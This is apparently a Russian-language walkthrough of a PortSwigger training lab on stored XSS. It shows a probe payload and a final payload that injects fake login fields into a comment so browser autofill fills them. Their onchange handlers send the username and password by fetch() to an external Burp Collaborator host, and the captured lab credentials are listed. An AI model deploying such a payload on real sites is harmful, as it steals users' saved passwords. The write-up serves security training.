На странице
Захват паролей через XSS
Лаборатория
Exploiting cross-site scripting to capture passwords · Practitioner
Разведка
Идём сразу в поле коммента и проверяем XSS — COMMENT<>'"\. Есть XSS.
Далее простая нагрузка — <img src=x onerror=fetch(1)> — работает.
Эксплуатация
Подход
PortSwigger в теории предлагает создать поддельные инпуты, которые браузер заполнит данными из автозаполнения — если пользователь сохранял свой пароль. Чтобы этот механизм сработал, поля создаём со следующими атрибутами:
<input name=username id=username>
<input type=password name=password>
Эксфильтрация
Теперь нужно отправить полученные данные на сервер. Будем использовать Burp Collaborator. Триггером для отправки имени и пароля будет событие onchange.
Итоговая нагрузка:
<input name=username id=username onchange=fetch("https://6pwq1k8rxl5e6swnw369cafh58bzzpne.oastify.com?user="+this.value)>
<input type=password name=password onchange=fetch("https://6pwq1k8rxl5e6swnw369cafh58bzzpne.oastify.com?pwd="+this.value)>
Будьте внимательны: нагрузка в комментах должна быть одна (итоговую тестите на новом посте, где нет комментов, иначе автозаполнение формы ломается).
Результат
В Burp прилетело 3 запроса:
GET /?user=administratoradministrator HTTP/1.1
GET /?pwd=mba29ry6e4jzms6kv354 HTTP/1.1
GET /?user=administrator HTTP/1.1
Первый — странный.
Пробуем administrator / mba29ry6e4jzms6kv354 — сработало.
Ещё в этой категории
Внедрение произвольного объекта в PHP (PortSwigger Lab)
Восстановление утёкшего исходного кода и внедрение сериализованного объекта CustomTemplate, чей __destruct удаляет произвольный файл.
Эксплуатация небезопасной десериализации через функции приложения (PortSwigger Lab)
Подмена поля `avatar_link` в объекте сессии для удаления произвольного файла через функцию удаления аккаунта.
Изменение типов сериализованных данных (PortSwigger Lab)
Эксплуатируем нестрогое сравнение PHP, меняя тип `access_token` на целое `0` и обходя аутентификацию.